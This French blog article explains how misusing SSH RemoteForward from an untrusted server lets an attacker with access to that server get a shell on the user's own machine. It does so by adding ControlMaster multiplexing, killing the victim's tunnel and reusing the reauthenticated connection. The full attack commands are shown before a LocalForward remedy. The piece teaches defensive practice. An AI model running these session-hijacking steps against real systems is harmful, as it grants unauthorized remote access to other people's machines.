EXPLOITATION D'UNE MAUVAISE PRATIQUE DE REDIRECTION DE PORT SSH

Exploitation d’une mauvaise pratique de redirection de port SSH

Suite à notre article sur l’utilisation des rebonds SSH, nous allons voir ici comment une erreur manifestement anodine d’utilisation des capacités offertes par le protocole SSH peut conduire à un désastre pour une entreprise.

Contexte

Dans le cadre de cette expérience, nous nous plaçons dans une architecture classique de réseau d’une entreprise X qui offre un hôte bastion à une autre société Y.

Un salarié Bob de la société Y souhaite accéder au serveur B sur lequel tourne un service HTTPS qui n’est pas accessible directement depuis l’Internet. Bob modifie donc sa configuration du client OpenSSH afin de pouvoir atteindre le serveur B.

bob:~$ cat ~/.ssh/config
Host server_A
  Hostname y.y.y.y
  Port 22
  User admin
  IdentityFile ~/.ssh/id_ed25519_bob

Host server_B
  Hostname 10.0.0.2
  Port 22
  User admin
  IdentityFile ~/.ssh/id_ed25519_bob
  ProxyJump server_A

Configuration du serveur A de la société X :

admin@a:~$ ls -l .ssh/
total 8
-rw-r--r-- 1 admin admin  557 Apr 16 09:23 authorized_keys
-rw------- 1 admin admin 2590 Apr 16 09:21 id_ed25519
-rw-r--r-- 1 admin admin  562 Apr 16 09:21 id_ed25519.pub

admin@a:~$ cat .ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJNDC20oL/aPtE8n381c2tRKZoitw79tdxlvp8hCv/ bob

Configuration du serveur B de la société X :

admin@b:~$ ls -l .ssh/
total 4
-rw-r--r-- 1 admin admin 562 Apr 16 09:26 authorized_keys

admin@b:~$ cat .ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJNDC20oL/aPtE8n381c2tRKZoitw79tdxlvp8hCv/ bob

Bob se connecte au serveur B :

bob:~$ eval `ssh-agent` && ssh-add ~/.ssh/id_ed25519_bob

bob:~$ ssh server_B
Last login: Fri Apr 16 09:43:20 2021 from 10.0.0.1
admin@b:~$

Erreur

Bob ayant un service SSH sur sa propre machine avec la configuration suivante qui n’autorise que l’authentification par mot de passe…

bob:~$ cat /etc/ssh/sshd_config
PidFile /var/run/sshd.pid
LogLevel INFO
SyslogFacility AUTH
ListenAddress 0.0.0.0
AddressFamily inet
Port 22
HostKey /etc/ssh/ssh_host_ed25519_key
PermitRootLogin no
StrictModes yes
MaxAuthTries 6
MaxSessions 4
PubkeyAuthentication no
PasswordAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication yes
X11Forwarding no
AllowTcpForwarding yes
Banner /etc/issue
PrintMotd no
AllowUsers bob

… et une règle de redirection du port 22 vers sa machine sur le pare-feu qui se trouve en tête de son propre réseau privé, il se dit qu’il ne risque pas grand chose à essayer de réaliser l’option RemoteForward offerte par le client OpenSSH de sorte à ouvrir un port 4343 sur sa machine pour lequel le flux sera redirigé dans le tunnel SSH vers le port 443 du serveur B. Pour se faire, il tape la commande suivante, qui nécessite le mot de passe de son utilisateur.

admin@b:~$ ssh -R 4343:localhost:443 bob@x.x.x.x
bob@x.x.x.x's password:

Dans un terminal de sa machine, Bob peut rapidement vérifier qu’il atteint bien le service HTTPS du server B en effectuant une requête HTTPS sur le port 4343 de sa propre machine.

bob:~$ netstat -nat | grep LISTEN
tcp          0      0  *.4343                  *.*                    LISTEN

bob:~$ openssl s_client -connect localhost:4343 </dev/null 2>/dev/null | openssl x509 -subject -noout
subject= /CN=*.server_B

L’erreur est commise. Ne jamais rentrer un mot de passe personnel sur une machine dont on n’a pas la maîtrise. C’est la première règle. Bob n’a aucune maîtrise sur la machine B de l’entreprise X. La machine pourrait être compromise par un attaquant extérieur, par l’entreprise X, ou part tout autre personne de l’entreprise Y ayant un accès sur la machine B.

Attaque

Ici, nous allons voir comment un attaquant, que l’on nommera Eve, et qui aurait un accès sur le serveur B pourrait exploiter le plus simplement du monde cette mauvaise pratique de Bob, sans nécessiter de droits particulier sur le serveur B, ni autre chose que le client SSH déjà en place.

Eve se connecte sur le serveur B et vérifie qui est déjà connecté à celui-ci.

eve:~$ ssh serveur_B w -s -h
admin     pts/0    10.0.0.1  0.00s  w
admin     pts/1    10.0.0.1  4:58m  ssh -R 4343:localhost:443 bob@x.x.x.x

L’objectif d’Eve est d’obtenir un pseudo-terminal sur la machine de B, sans avoir à découvrir par une quelconque manière le mot de passe de Bob. Pour ce faire, Eve va s’appuyer sur une fonctionnalité peut commune du protocole SSH : il s’agit du multiplexage. Eve modifie ajoute juste deux options au fichiers de configuration du client OpenSSH du serveur B :

eve:~$ cat << EOF | ssh serveur_B "cat >> .ssh/config"
ControlMaster auto
ControlPath ~/.ssh/control:%h:%p:%r
EOF

ControlMaster est une option du client OpenSSH qui créera un fichier socket permettant à la connexion SSH initiale à un hôte d’être réutilisée et éventuellement de persister après la déconnexion de la session initiale. En pratique, cela signifie que la première connexion à un hôte sera authentifiée normalement, avec mot de passe, ou autre selon les besoins, mais que les connexions suivantes réutiliseront simplement la connexion initiale sans nécessiter d’authentification.

Pour que cela soit effectif, il faut que Bob relance sa commande d’ouverture de flux et s’authentifie une nouvelle fois. Eve provoque donc la chose en faisant tomber le tunnel SSH de Bob.

eve:~$ ssh server_B "pgrep -f bob | xargs kill"

Eve modifie la configuration de son propre client OpenSSH afin de faciliter la suite des opérations.

eve:~$ cat << EOF >> .ssh/config
Host bob
  Hostname x.x.x.x
  Port 22
  User bob
  ProxyJump server_B

Et lance une boucle dans l’attente du nouveau tunnel de Bob…

eve:~$ while true; do \
  ssh server_B w | grep -q "4343:localhost:443" \
    && break; sleep 3; \
  done; ssh bob id
uid=1000(bob) gid=1000(bob) groups=1000(bob)

Lorsque Bob relance sa commande de redirection de port, Eve obtient directement un pseudo-terminal sur la machine de Bob sans avoir à s’authentifier. Libre court à l’imagination d’Eve pour causer du tort à l’entreprise Y de Bob.

Solution

Bob aurait simplement dû utiliser la fonctionnalité LocalForward depuis son poste plutôt que la fonctionnalité RemoteForward depuis le serveur B de l’entreprise X. Soit en utilisant directement la commande :

bob:~$ ssh -L 4343:localhost:43 server_B

Soit en rajoutant une description d’hôte dans la configuration de son client OpenSSH.

bob:~$ cat << EOF >> .ssh/config
Host 443.server_B
  Hostname 10.0.0.2
  Port 22
  User admin
  IdentityFile ~/.ssh/id_ed25519_bob
  ProxyJump server_A
  LocalForward 4343 localhost:443

bob:~$ ssh 443.server_B

Dans certain cas très particulier, il est nécessaire de se connecter directement en SSH sur une machine dont on a le contrôle, mais pour ce faire il existe une technique non documenté pour se prémunir des désagréments qu’aurait pu subir Bob. Un futur article détaillera cette technique.

Le prochain article sera consacré aux multiples usages des différentes méthodes de redirection de port qu’il est possible de mettre en œuvre avec un client OpenSSH.

Partage

Laisser un commentaire

Inscrivez-vous à la newsletter Syloé !

Recevez gratuitement les analyses de nos experts